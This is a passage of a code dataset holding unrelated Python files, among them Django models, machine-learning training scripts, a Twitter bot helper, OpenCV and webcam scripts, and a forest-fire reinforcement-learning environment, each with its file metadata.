django.core.exceptions import ObjectDoesNotExist\nfrom django.forms.models import model_to_dict\nfrom django.conf import settings\n\nfrom cloudygames import utils\n\nfrom imagekit.models import ProcessedImageField\nfrom imagekit.processors import ResizeToFill\n\nERROR_MSG = 'error'\nJOIN_CMD = '0000'\nPORT_NUM = 30000\n\nclass Game(models.Model):\n name = models.CharField(max_length=45)\n publisher = models.CharField(max_length=45)\n max_limit = models.IntegerField()\n address = models.CharField(max_length=45)\n thumbnail = ProcessedImageField(\n upload_to = 'thumbnails',\n processors = [ResizeToFill(100, 100)],\n format = 'PNG',\n options = {'quality': 60},\n default = 'settings.MEDIA_ROOT/thumbnails/default.png',\n )\n\n def __str__(self): # Python object representation\n return self.name\n\nclass GameOwnership(models.Model):\n user = models.ForeignKey(User)\n game = models.ForeignKey(Game)\n\n class Meta:\n unique_together = ['user', 'game']\n\n def __str__(self):\n return self.user.username + ' - ' + self.game.name\n\nclass GameSession(models.Model):\n user = models.ForeignKey(User)\n game = models.ForeignKey(Game)\n controller = models.IntegerField()\n streaming_port = models.IntegerField()\n\n class Meta:\n unique_together = ['user', 'game']\n\n def join_game(self, gameobj):\n data = {\n 'controllerid': -1,\n 'streaming_port': -1\n }\n try:\n controllers = range(gameobj.max_limit)\n occupied = GameSession.objects.filter(game=gameobj). \\\n values_list('controller', flat=True)\n available = list(set(controllers)-set(occupied))\n data['controllerid'] = available[0]\n except IndexError:\n return data\n\n if(data['controllerid'] != -1):\n command = JOIN_CMD + str(data['controllerid']).zfill(4)\n result = utils.connect_to_CPP(command)\n if(result != ERROR_MSG):\n data['streaming_port'] = data['controllerid'] + PORT_NUM\n return data\n\n def __str__(self):\n return self.user.username + ' - ' + self.game.name\n\nclass PlayerSaveData(models.Model):\n saved_file = models.CharField(max_length=45)\n is_autosaved = models.BooleanField(default=False)\n user = models.ForeignKey(User)\n game = models.ForeignKey(Game)\n\n def __str__(self):\n return self.saved_file\n\n# Need to add for genres in future sprints","sub_path":"cloudygames/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"214668129","text":"# zad 5 lista 1\n\n'''\nklasa Statystyka\n'''\n\n\nclass Statystyka():\n def __init__(self, lista = None):\n\n self.lista = []\n if lista:\n self.lista = lista\n\n \n def suma(self):\n suma = 0\n for el in self.lista:\n suma += el\n return suma\n\n\n def średnia(self):\n if len(self.lista) > 0:\n return self.suma()/len(self.lista)\n else:\n return None\n\n\n def mediana(self):\n l = self.lista[:]\n l.sort()\n if len(l)% 2 == 0:\n a = l[(len(l)-1)//2]\n b = l[(len(l)+1)//2]\n return (a + b )/ 2 # długość listy parzysta\n else:\n return l[len(l)//2] # długość listy nieparzyst\n \n\n def minimum(self):\n minimum = None\n for el in self.lista:\n if minimum == None:\n minimum = el\n else: \n if el < minimum:\n minimum = el\n else:\n pass\n\n return minimum\n\n\n def maksimum(self):\n maksimum = None\n for el in self.lista:\n if maksimum == None:\n maksimum = el\n else: \n if el > maksimum:\n maksimum = el\n else:\n pass\n\n return maksimum\n \n\n\nl1 = [1,2,3,4,5,6]\nl2 = [1,2,3,4,5,6,7]\n\ns = Statystyka(l1)\ns2 = Statystyka(l2)\n\nprint(s.suma())\nprint(s.średnia())\nprint(s.minimum())\nprint(s.maksimum())\n\nprint()\n#print(sum(l1))\n\nprint(s.mediana())\nprint(s2.mediana())\n\n","sub_path":"2. programowanie obiektowe/oop lista 1/zad 5 lista 1 Statystyka.py","file_name":"zad 5 lista 1 Statystyka.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"548785044","text":"import os\nimport time\ni=1\nj=1\nwhile (i<5):\n os.system(\"fswebcam -F 3 --fps 20 -r 1200*800 /home/pi/an\"+ str(j)+\".jpg\")\n time.sleep(4)\n print(\"pic taken\")\n i=i+1\n j=j+1\n \n \n","sub_path":"program_webcam.py","file_name":"program_webcam.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"155462176","text":"import pandas as pd\nimport argparse\nimport wandb\nimport joblib\nfrom time import time\nfrom sklearn.pipeline import Pipeline\nimport config as cfg\nfrom sklearn.utils import resample\nfrom pipeline import clean_pipe\nfrom lightgbm import LGBMClassifier\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-d\", \"--dataset_path\",\n default=\"dataset/train.csv\",\n help=\"Path to training dataset\")\nparser.add_argument(\"-t\", \"--test_dataset_path\",\n default=\"dataset/test.csv\",\n help=\"Path to test dataset\")\nparser.add_argument(\"-o\", \"--output_path\",\n default=\"output\",\n help=\"Path to output file\")\nparser.add_argument(\"-i\", \"--inference\",\n default=False,\n action='store_true',\n help=\"Create prediction file\")\nparser.add_argument(\"-m\", \"--model\",\n default=False,\n action='store_true',\n help=\"Save model file\")\nargs, unknown = parser.parse_known_args()\n\n\nhyperparameter_defaults = dict(\n # model\n num_leaves=31,\n max_depth=-1,\n learning_rate=0.1,\n n_estimators=100,\n min_split_gain=0,\n min_child_weight=0.001,\n min_child_samples=20,\n subsample=1,\n subsample_freq=0,\n colsample_bytree=1,\n reg_alpha=0,\n reg_lambda=0\n)\n\nwandb.init(project=\"porto-seguro\", config=hyperparameter_defaults)\nconfig = wandb.config\n\n# Prepare dataset\ntry:\n train_df = pd.read_csv(args.dataset_path)\nexcept:\n print(\"Cannot read training dataset.\")\n\n# Train model\nclf = LGBMClassifier(\n random_state=42,\n # Improve\n num_leaves=config.num_leaves,\n max_depth=config.max_depth,\n learning_rate=config.learning_rate,\n n_estimators=config.n_estimators,\n # Deal with overfit\n min_split_gain=config.min_split_gain,\n min_child_samples=config.min_child_samples,\n min_child_weight=config.min_child_weight,\n subsample=config.subsample,\n subsample_freq=config.subsample_freq,\n colsample_bytree=config.colsample_bytree,\n # Regularization\n reg_alpha=config.reg_alpha,\n reg_lambda=config.reg_lambda\n)\n\n# Separate minority and majority classes\nnot_target = train_df[train_df.target == 0]\nyes_target = train_df[train_df.target == 1]\n\nyes_target_up = resample(yes_target,\n replace=True, # sample without replacement\n n_samples=len(not_target), # match majority n\n random_state=42) # reproducible results\n\n# Combine majority and upsampled minority\nupsampled = pd.concat([yes_target_up, not_target],\n ignore_index=True).sample(frac=1)\n\nX = upsampled.copy()\ny = X.pop(cfg.TARGET)\n\nmodel_pipeline = Pipeline([\n ('data', clean_pipe),\n ('clf', clf)\n], verbose=True)\n\nmodel_pipeline.fit(X, y)\n\nif args.inference:\n try:\n test_df = pd.read_csv(args.test_dataset_path)\n except:\n print(\"Cannot read testing dataset.\")\n # Make predictions\n predictions = model_pipeline.predict_proba(test_df)\n\n # Create submission file\n output_path = args.output_path\n time_stamp = str(int(time()))\n submission_file = f\"{output_path}/{time_stamp}.csv\"\n submission = pd.DataFrame(\n {'id': test_df.id, 'target': predictions[:, 1]})\n submission.to_csv(submission_file, index=False)\n\n\nif args.model:\n # Log model_pipeline.pkl\n model_file = f\"{output_path}/{time_stamp}.pkl\"\n joblib.dump(model_pipeline, model_file)\n # Create a new artifact, which is a sample dataset\n model_pkl = wandb.Artifact(time_stamp, type='model')\n # Add files to the artifact, in this case a simple text file\n model_pkl.add_file(model_file)\n # Log the artifact to save it as an output of this run\n wandb.log_artifact(model_pkl)\n","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"296266186","text":"from ..Base import Base\nfrom os import listdir\nfrom random import choice\nfrom . import u_logger as log\n\n\nclass Twitter(Base):\n def __init__(self, *args):\n super().__init__(*args)\n \n async def update_status(self, context):\n self.ex.api.update_status(status=context)\n tweet = self.ex.api.user_timeline(user_id=f'{self.ex.keys.twitter_account_id}', count=1)[0]\n return f\"https://twitter.com/{self.ex.keys.twitter_username}/status/{tweet.id}\"\n\n async def delete_status(self, context):\n self.ex.api.destroy_status(context)\n\n async def recent_tweets(self, context):\n tweets = self.ex.api.user_timeline(user_id=f'{self.ex.keys.twitter_account_id}', count=context)\n final_tweet = \"\"\n for tweet in tweets:\n final_tweet += f\"> **Tweet ID:** {tweet.id} | **Tweet:** {tweet.text}\\n\"\n return final_tweet\n\n async def upload_random_image(self):\n \"\"\"Uploads a random (BUT UNIQUE) idol photo to twitter.\n\n :returns: twitter body message & twitter link to the post.\n \"\"\"\n try:\n # random_file = (self.ex.thread_pool.submit(self.get_random_idol_photo)).result()\n random_file = await self.ex.run_blocking_code(self.get_random_idol_photo)\n if not random_file:\n return False\n\n unique_text_pos = random_file.find(\"image\")\n if unique_text_pos == -1:\n unique_text_pos = random_file.find(\"video\")\n\n # we do not actually want videos, so we will recall the method.\n if unique_text_pos != -1:\n return await self.upload_random_image()\n\n if not unique_text_pos:\n return False # could not find image id.\n\n image_id = int(random_file[0:unique_text_pos])\n\n # check if the file is already uploaded.\n if await self.ex.sql.s_twitter.check_photo_uploaded(image_id):\n # can result in infinite loop if there is only one file in the folder.\n # but the maximum recursion depth will cancel this out.\n return await self.upload_random_image()\n\n idol = await self.ex.u_group_members.get_idol_by_image_id(image_id)\n body_message = f\"({image_id})\"\n if idol:\n body_message += f\" - {idol.full_name} ({idol.stage_name}) [{idol.id}]\"\n\n full_file_location = f\"{self.ex.keys.idol_photo_location}{random_file}\"\n media = self.ex.api.media_upload(full_file_location)\n status = self.ex.api.update_status(status=body_message, media_ids=[media.media_id])\n await self.ex.sql.s_twitter.insert_photo_uploaded(image_id, media.media_id)\n return status.text\n except Exception as e:\n log.console(f\"{e} (Exception)\", method=self.upload_random_image)\n\n def get_random_idol_photo(self):\n \"\"\"Get a random idol photo existing in the file directory.\n\n This method may block the heartbeat due to OS operation.\n Should be run separately.\n \"\"\"\n return choice(listdir(self.ex.keys.idol_photo_location))\n\n","sub_path":"IreneUtility/util/u_twitter.py","file_name":"u_twitter.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"448740293","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom errsim import *\n\n\ndef label(d, pe, pb, n):\n if pb is None:\n pb = pe\n label = 'd={} pe={} n={} BSC'.format(d, pe, n)\n else:\n label = 'd={} pe={} n={} pb={}'.format(d, pe, n, pb)\n return label\n\ndef plot(pe, fpath=None):\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=plt.figaspect(1/2))\n\n r = np.arange(8, 65)\n\n pWL = jointpmf5(pe, pe, 128)\n ax.plot(r, r_vs_pegd(pWL, 3, r) , 'g--', lw=2, label=label(3, pe, None, 128))\n ax.plot(r, r_vs_pegd(pWL, 6, r) , 'g-', lw=2, label=label(6, pe, None, 128))\n\n pWL = jointpmf5(pe, .1, 128)\n ax.plot(r, r_vs_pegd(pWL, 3, r) , 'b--', lw=2, label=label(3, pe, .1, 128))\n ax.plot(r, r_vs_pegd(pWL, 6, r) , 'b-', lw=2, label=label(6, pe, .1, 128))\n\n pWL = jointpmf5(pe, .5, 128)\n ax.plot(r, r_vs_pegd(pWL, 3, r) , 'r--', lw=2, label=label(3, pe, .5, 128))\n ax.plot(r, r_vs_pegd(pWL, 6, r) , 'r-', lw=2, label=label(6, pe, .5, 128))\n\n ax.set_yscale('log')\n ax.set_xticks(r[::8])\n ax.set_xlim(r[0], r[-1])\n #ax.set_ylim(1e-30, 1e-1)\n ax.set_xlabel('Burst error correction capability, $r$')\n ax.set_ylabel('$P_{egd}$')\n ax.set_title('Probability of Exceeding Guarenteed Error Detection Capability')\n\n ax.legend(loc='lower right')\n ax.grid(True)\n\n #plt.tight_layout()\n if fpath:\n fig.savefig(fpath)\n plt.show()\n\nplt.close('all')\nplot(1e-15, 'plots/pegd-pe=1e15.png')\nplot(1e-6, 'plots/pegd-pe=1e6.png')\n","sub_path":"perf/plot-pegd.py","file_name":"plot-pegd.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"469225632","text":"import time\nsum = 0\nwhile True:\n userName = input(\"请输入您的账号:\")\n psd = input(\"请输入您的密码:\")\n if userName == \"\" or psd == \"\":\n print(\"账号或密码不能为空\")\n continue\n if userName == \"admin\" and psd == \"123456\":\n print(\"登录成功\")\n break\n elif userName != \"admin\" or psd != \"123456\":\n sum += 1\n print(\"账号或密码错误%d次,请重新输入\" % sum)\n if sum >= 3:\n print(\"账号或密码输入错误超过3次,请等待10秒\")\n time.sleep(10)\n sum = 0\n continue","sub_path":"homework/用户登录.py","file_name":"用户登录.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"173093003","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport pickle\n\nfrom GAN_Network import WGAN_test, WGAN_Swiss, WGAN_MNIST, WGAN_MNIST_V2,WGAN_MNIST_MINMAX\nfrom AE_Network import FIT_AE_Swiss, FIT_AE_MNIST, FIT_AE_MNIST_V2,FIT_AE_MNIST_MINMAX\nfrom utils import file_exists, save_digit\nfrom generator_models import celebA_generator, cifar_generator\nfrom classifiers import *\n\n\n\ndef main():\n dataset = 'mnist'\n print('Running demo for', dataset, 'dataset')\n\n\n #Set up GAN + VAE + training parameters\n train_classifier = False\n train_GAN = False\n\n myGAN = WGAN_MNIST_MINMAX()\n myVAE = FIT_AE_MNIST_MINMAX(myGAN)\n load_func = utils.MNIST_load\n eval_model = eval_mnist_model\n learning_rate = 0.001\n num_epochs = 2\n batch_size = 100\n x_size = 784\n y_size = 10\n dropout_rate = tf.placeholder_with_default(0.4, shape=())\n classifier_model_fn = lambda x: cnn_model_fn(x, dropout_rate)\n\n x = tf.placeholder(tf.float32, shape=[None, x_size])\n y = tf.placeholder(tf.int32, shape=[None, y_size])\n logits,classifier_params = classifier_model_fn(x)\n train_op = get_train_op(logits, y, learning_rate)\n accuracy_op = get_accuracy_op(logits, y)\n classifier_saver = tf.train.Saver(var_list=classifier_params, max_to_keep=1)\n classifier_model_directory = \"./model_Classifier/MNIST/\"\n\n init = tf.global_variables_initializer()\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n\n with tf.Session(config = config) as sess:\n sess.run(init)\n\n if train_GAN:\n print('Training GAN')\n myGAN.train(sess)\n else:\n print('Loading GAN')\n myGAN.restore_session(sess)\n print('Loading VAE')\n myVAE.restore_session(sess)\n\n if train_classifier:\n print ('Start Training Classifier')\n train_epoch, _, test_epoch = utils.load_dataset(batch_size, load_func)\n print('training model')\n train_model(sess, x, y, train_epoch, train_op, num_epochs, batch_size)\n # print('testing model')\n # eval_model(sess, x, y, dropout_rate, logits, test_epoch, accuracy_op, myVAE, image_path='clean_train_clean_test.png', name='clean train clean test')\n print('saving model')\n save_model(sess,classifier_saver,classifier_model_directory)\n else:\n print('Load Classifier')\n restore_model(sess,classifier_saver,classifier_model_directory)\n print('Loaded from:')\n print(classifier_model_directory)\n\n # Test GAN\n # myGAN.test_generate(sess,512)\n\n # Test Projection Method\n # filename = './images/test_image.png'\n # n_images = myGAN.PROJ_BATCH_SIZE\n # z = myGAN.noise_gen([n_images,myGAN.get_latent_dim()])\n # images = sess.run(myGAN.Generator,feed_dict={myGAN.z_in: z})\n # utils.save_images(images.reshape(n_images,28,28),filename)\n #\n # z0 = myGAN.noise_gen([n_images,myGAN.get_latent_dim()])\n # images_hat,z_hat = myGAN.find_proj(sess,images,z0)\n # filename = './images/test_image_hat.png'\n # utils.save_images(images_hat,filename)\n\n\n # Train AE (to match projection)\n myVAE.train(sess)\n\n\n\n\n\nif __name__ == '__main__': main()\n","sub_path":"encoder_improve_test.py","file_name":"encoder_improve_test.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"69006647","text":"# coding=utf-8\n\n\nimport configparser\nimport os\nimport tqdm\nimport numba\nimport numpy as np\nfrom PIL import Image\nfrom skimage import io\nfrom PIL import Image\n\n\nclass ExFileManager(object):\n \"\"\"\n Manages external files\n \"\"\"\n\n def __init__(self, config_file_name):\n\n # Reads .config.ini\n ini_file = configparser.ConfigParser()\n ini_file.read(config_file_name)\n\n # self.depth = float(ini_file.get('GeneralParameter', 'depth'))\n\n def read_image_data(self, path_all_dirs):\n \"\"\"\n Reads data.\n This method is applied especially when you try to read \"Image\"s.\n :return: num_all_data, formated_data, each_label_data\n \"\"\"\n\n num_all_data = 0\n all_data = []\n all_labels = []\n each_label_data = []\n width = 0\n height = 0\n for i, dir in enumerate(os.listdir(path_all_dirs)):\n num_data, data = self.get_data(os.path.join(path_all_dirs, dir))\n labels = [dir] * num_data\n\n all_labels.append(labels)\n all_data.append(data)\n each_label_data.append([dir, data])\n if i == 0:\n path = os.path.join(path_all_dirs, dir)\n filename = os.listdir(path)[0]\n path = os.path.join(path, filename)\n width, height = self.get_image_width_height(path)\n\n # all_data_array above was organized like [[data with label A],[data with label B]....]\n # a format like [data with label A, data with label B,...] is easy to use.\n # For example, for shaffling or making mini-batch.\n formatted_labels = []\n formatted_data = []\n for labels, data in zip(all_labels, all_data):\n\n for label in labels:\n formatted_labels.append(label)\n\n for datum in data:\n formatted_data.append(datum)\n\n return formatted_labels, formatted_data, each_label_data, width, height\n\n def get_data(self, path_to_data):\n \"\"\"\n Gets all data in the all dirs which exist in the specified dir.\n :param path_to_data: path to the dir where all dirs with data exist\n :return: 1st: a float scalar meaning the total amount of data\n 2nd: numpy array where all data are stored. Each row corresponds to an data\n \"\"\"\n\n # Counts up the number of non-0-size data.\n num_data = self.count_up_data_num(path_to_data)\n\n data_array = []\n\n for data in tqdm.tqdm(os.listdir(path_to_data)):\n\n # skip if the file's sile is 0\n try:\n if os.stat(os.path.join(path_to_data, data)).st_size != 0:\n data_array.append(self.image_data_pre_process(os.path.join(path_to_data, data)))\n except OSError:\n num_data -= 1\n\n return num_data, data_array\n\n def count_empty_file(self, dir):\n \"\"\"\n Counts up the number of empty files.\n :param dir: the folder where files of which you want to know the amount exist.\n :return: amount\n \"\"\"\n\n return len([index for index, file in enumerate(os.listdir(dir)) if\n os.stat(os.path.join(dir, file)).st_size == 0])\n\n def count_up_data_num(self, dir):\n \"\"\"\n Counts up the number of non-0-size files in a folder\n :param dir: folder name where you want to know the amount of files\n :return: the number of files in the folder\n \"\"\"\n return len(os.listdir(dir)) - self.count_empty_file(dir)\n\n def image_data_pre_process(self, path):\n\n # flatten\n # img = Image.open(path)\n img = Image.open(path)\n width, height = img.size\n return [img.getpixel((i, j)) / 255 for j in range(height) for i in range(width)]\n\n def numpy_array_save(self, filename, array):\n \"\"\"\n Saves numpy array into a directory.\n :param filename: filename\n :param array: array to be saved\n :return: None\n \"\"\"\n\n np.save('%s.npy' % filename, array)\n\n def get_image_width_height(self, path):\n \"\"\"\n\n :param path:\n :return:\n \"\"\"\n\n img = Image.open(path)\n width, height = img.size\n\n return width, height\n\n def write_to_file(self, filename, data):\n \"\"\"\n\n :param filename:\n :param data:\n :return:\n \"\"\"\n\n with open(filename, mode='a', encoding='utf-8') as fh:\n fh.write('%s\\n' % data)\n\n def save_data_array_as_gif(self, filename, data):\n data[0].save('data/dst/pillow_imagedraw.gif',\n save_all=True, append_images=images[1:], optimize=False, duration=40, loop=0)\n","sub_path":"src/ExFileManager.py","file_name":"ExFileManager.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"79425299","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 22 23:39:01 2018\n\n@author: Grenceng\n\"\"\"\nimport math\nimport numpy as np\nfrom scipy.fftpack import fft\n\ndef dftAnal(x, w, N):\n hN = int((N/2)+1) # size of positive spectrum, it includes sample 0\n hM1 = int(math.floor((w.size+1)/2)) # half analysis window size by rounding\n hM2 = int(math.floor(w.size/2)) # half analysis window size by floor\n fftbuffer = np.zeros(N) # initialize buffer for FFT\n w = w / sum(w) # normalize analysis window\n xw = x*w # window the input sound\n fftbuffer[:hM1] = xw[hM2:] # zero-phase window in fftbuffer\n fftbuffer[-hM2:] = xw[:hM2] \n X = fft(fftbuffer) # compute FFT\n absX = abs(X[:hN]) # compute absolute value of positive side\n absX[absX CONFIG['SAMPLE_SIZE']):\n break\n \n generator.train()\n discriminator.train()\n\n epoch += 1\n print('-'*80 + '\\n{:.2f} h has elapsed'.format((time.time()-start)/3600))\n \n # Clear the cache after a epoch\n if (device != torch.device('cpu')):\n torch.cuda.empty_cache() \n\n","sub_path":"src/train_amp.py","file_name":"train_amp.py","file_ext":"py","file_size_in_byte":11265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"24506519","text":"import cv2 as cv\nimport numpy as np\n\nflags = [i for i in dir(cv) if i.startswith('COLOR_')]\n#print(flags)\n\ncap_video = cv.VideoCapture(0)\n\nwhile (1):\n #take each frame\n _, frame = cap_video.read()\n\n #convert BGR to HSV\n hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n\n # define range of blue color in HSV\n lower_blue = np.array([110,50,50])\n upper_blue = np.array([130,255,255])\n\n # Threshold the hsv image to get only color blue\n mask = cv.inRange(hsv,lower_blue,upper_blue)\n\n #Bitwise-AND mas and origin al image\n res = cv.bitwise_and(frame,frame, mask= mask)\n\n cv.imshow('frame', frame)\n cv.imshow('mask', mask)\n cv.imshow('res', res)\n\n key = cv.waitKey(5) & 0xFF\n if key == 27:\n break\n\ncv.destroyAllWindows()","sub_path":"getStarted/part3_processImages/geometricTransform.py","file_name":"geometricTransform.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"3455927","text":"import gservice.core\n\nclass RootService(gservice.core.Service):\n \"\"\"\n RootService is the main service for all gsevice based daemons.\n Creation and management of RootService is managed directly by the gservice\n runner.\n\n RootService is the parent service for all named global services, and they\n will be stopped when RootService is stopped. RootService is also the\n parent for the main service.\n \"\"\"\n \n def __init__(self, children, main_service):\n \"\"\"\n Children is a list of 2-tuples (string, service) that should be started\n prior to the main service.\n\n main is the main service for this daemon\n \"\"\"\n self._children = []\n for name, service in children:\n self._children.append(service)\n gservice.core.Service.register_named_service(name=name,\n service=service)\n # and append main_service so that it's started last\n self._children.append(main_service)\n self.main_service = main_service\n\n def serve_forever(self, stop_timeout=None, ready_callback=None):\n if not self.started:\n self.start()\n if ready_callback:\n ready_callback()\n try:\n self.main_service._stopped_event.wait()\n # tell the other children to stop now\n except KeyboardInterrupt:\n # swallowing keyboard interrupt\n self.stop(timeout=stop_timeout) \n except:\n # raising other exceptions\n self.stop(timeout=stop_timeout)\n raise\n else:\n # or just stopping if no exception\n self.stop(timeout=stop_timeout)\n","sub_path":"gservice/rootservice.py","file_name":"rootservice.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"7251717","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 27 17:16:03 2020\n\n@author: ebecerra\n\"\"\"\n\n# Math\nimport numpy as np\nimport math\n\n# Visualization\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Dependencies\nimport forest_fire\n\n# Features to add\n\n# Action info attribute, DONE\n# Rocks, dead cells\n# Rock boundary\n# Custom starting positions\n# Water feature\n\nclass Helicopter(forest_fire.ForestFire):\n \"\"\" Helicopter class \"\"\"\n def __init__(self, pos_row = None, pos_col = None, freeze = None, water = 100,\n n_row = 16, n_col = 16,\n p_tree=0.100, p_fire=0.001, p_init_tree=0.75,\n boundary='reflective', tree = 3, empty = 1, fire = 7):\n super().__init__(n_row,n_col,\n p_tree,p_fire,p_init_tree,\n boundary,tree,empty,fire)\n # Helicopter attributes\n self.actions_set = {1, 2, 3, 4, 5, 6, 7, 8, 9}\n self.actions_cardinality = len(self.actions_set)\n if pos_row is None:\n # Start aprox in the middle\n self.pos_row = math.ceil(self.n_row/2) - 1\n else:\n self.pos_row = pos_row\n if pos_col is None:\n # Start aprox in the middle\n self.pos_col = math.ceil(self.n_col/2) - 1\n else:\n self.pos_col = pos_col \n if freeze is None:\n # Move aprox a 1/4 of the grid\n self.freeze = math.ceil((self.n_row + self.n_col) / 4)\n else:\n self.freeze = freeze\n self.defrost = self.freeze\n # Water not yet implemented\n self.water = water\n # Number of Times where a fire was extinguished\n self.hits = 0\n # Render Info\n self.current_reward = 0\n self.color_tree = np.array([15, 198, 43, int(1.0*255)]) # Green RGBA\n self.color_empty = np.array([255, 245, 166, int(1.0*255)]) # Beige RGBA\n self.color_fire = np.array([255, 106, 58, int(1.0*255)]) # Red RGBA\n self.grid_to_rgba()\n def step(self, action):\n \"\"\"Must return tuple with\n numpy array, int reward, bool termination, dict info\n \"\"\"\n termination = False\n if self.defrost != 0:\n self.new_pos(action)\n self.hits += self.extinguish_fire()\n self.defrost -= 1\n obs = (self.grid, np.array([self.pos_row, self.pos_col]))\n # Don't delay the reward\n # Reward it often\n reward = self.calculate_reward()\n self.current_reward = reward\n return (obs, reward, termination, {'hits': self.hits})\n if self.defrost == 0:\n # Run fire simulation\n self.update()\n self.new_pos(action)\n self.hits += self.extinguish_fire()\n self.defrost = self.freeze\n obs = (self.grid, np.array([self.pos_row, self.pos_col]))\n reward = self.calculate_reward()\n self.current_reward = reward\n return ((obs, reward, termination, {'hits': self.hits}))\n def calculate_reward(self):\n reward = 0\n for row in range(self.n_row):\n for col in range(self.n_col):\n if self.grid[row][col] == self.fire:\n reward -= 1\n return reward\n def new_pos(self, action):\n self.pos_row = self.pos_row if action == 5\\\n else self.pos_row if self.is_out_borders(action, pos='row')\\\n else self.pos_row - 1 if action in [1,2,3]\\\n else self.pos_row + 1 if action in [7,8,9]\\\n else self.pos_row\n self.pos_col = self.pos_col if action == 5\\\n else self.pos_col if self.is_out_borders(action, pos='col')\\\n else self.pos_col - 1 if action in [1,4,7]\\\n else self.pos_col + 1 if action in [3,6,9]\\\n else self.pos_col\n return (self.pos_row, self.pos_col)\n def is_out_borders(self, action, pos):\n if pos == 'row':\n # Check Up movement\n if action in [1,2,3] and self.pos_row == 0:\n out_of_border = True\n # Check Down movement\n elif action in [7,8,9] and self.pos_row == self.n_row-1:\n out_of_border = True\n else:\n out_of_border = False\n elif pos == 'col':\n # Check Left movement\n if action in [1,4,7] and self.pos_col == 0:\n out_of_border = True\n # Check Right movement\n elif action in [3,6,9] and self.pos_col == self.n_col-1:\n out_of_border = True\n else:\n out_of_border = False\n else:\n raise \"Argument Error: pos = str 'row'|'col'\"\n return out_of_border\n def extinguish_fire(self):\n \"\"\"Check where the helicopter is\n then extinguish at that place\"\"\"\n hit = 0\n row = self.pos_row\n col = self.pos_col\n current_cell = self.grid[row][col]\n if current_cell == self.fire:\n self.grid[row][col] = self.empty\n hit = 1\n return hit\n def reset(self):\n # Another random grid\n self.__init__(None,None,\n self.freeze,self.water,\n self.n_row,self.n_col,\n self.p_tree,self.p_fire,self.p_init_tree,\n self.boundary,self.tree,self.empty,self.fire)\n # Return first observation\n return (self.grid, np.array([self.pos_row,self.pos_col]))\n def grid_to_rgba(self):\n rgba_mat = self.grid.tolist()\n for row in range(self.n_row):\n for col in range(self.n_col):\n if rgba_mat[row][col] == self.tree:\n rgba_mat[row][col] = self.color_tree\n elif rgba_mat[row][col] == self.empty:\n rgba_mat[row][col] = self.color_empty\n elif rgba_mat[row][col] == self.fire:\n rgba_mat[row][col] = self.color_fire\n else:\n raise 'Error: unidentified cell'\n rgba_mat = np.array(rgba_mat)\n self.rgba_mat = rgba_mat\n return rgba_mat\n def render(self):\n # Plot style\n sns.set_style('whitegrid')\n # Main Plot\n plt.imshow(self.grid_to_rgba(), aspect='equal')\n # Title showing Reward\n plt.title('Reward {}'.format(self.current_reward))\n # Modify Axes\n ax = plt.gca();\n # Major ticks\n ax.set_xticks(np.arange(0, self.n_col, 1));\n ax.set_yticks(np.arange(0, self.n_row, 1));\n # Labels for major ticks\n ax.set_xticklabels(np.arange(0, self.n_col, 1));\n ax.set_yticklabels(np.arange(0, self.n_row, 1)); \n # Minor ticks\n ax.set_xticks(np.arange(-.5, self.n_col, 1), minor=True);\n ax.set_yticks(np.arange(-.5, self.n_row, 1), minor=True);\n # Gridlines based on minor ticks\n ax.grid(which='minor', color='whitesmoke', linestyle='-', linewidth=2)\n ax.grid(which='major', color='w', linestyle='-', linewidth=0)\n ax.tick_params(axis=u'both', which=u'both',length=0)\n # Mark the helicopter position\n # Put a red X\n plt.scatter(self.pos_col, self.pos_row,\n marker='x', color='red',\n s=50, linewidths=50,\n zorder=11)\n fig = plt.gcf()\n plt.show()\n return fig\n def close():\n print('Gracefully Exiting, come back soon')\n","sub_path":"helicopter.py","file_name":"helicopter.py","file_ext":"py","file_size_in_byte":7450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"247796883","text":"import unittest\nimport numpy as np\nfrom taurex.data.planet import Planet, Earth\nfrom taurex.constants import G, RJUP, MJUP\n\n\nclass PlanetTest(unittest.TestCase):\n\n def setUp(self):\n\n self.jup = Planet()\n self.earth = Earth()\n\n def test_properties(self):\n self.assertEqual(self.jup.mass, 1)\n\n self.assertEqual(self.jup.fullMass, MJUP)\n self.assertEqual(self.jup.fullRadius, RJUP)\n 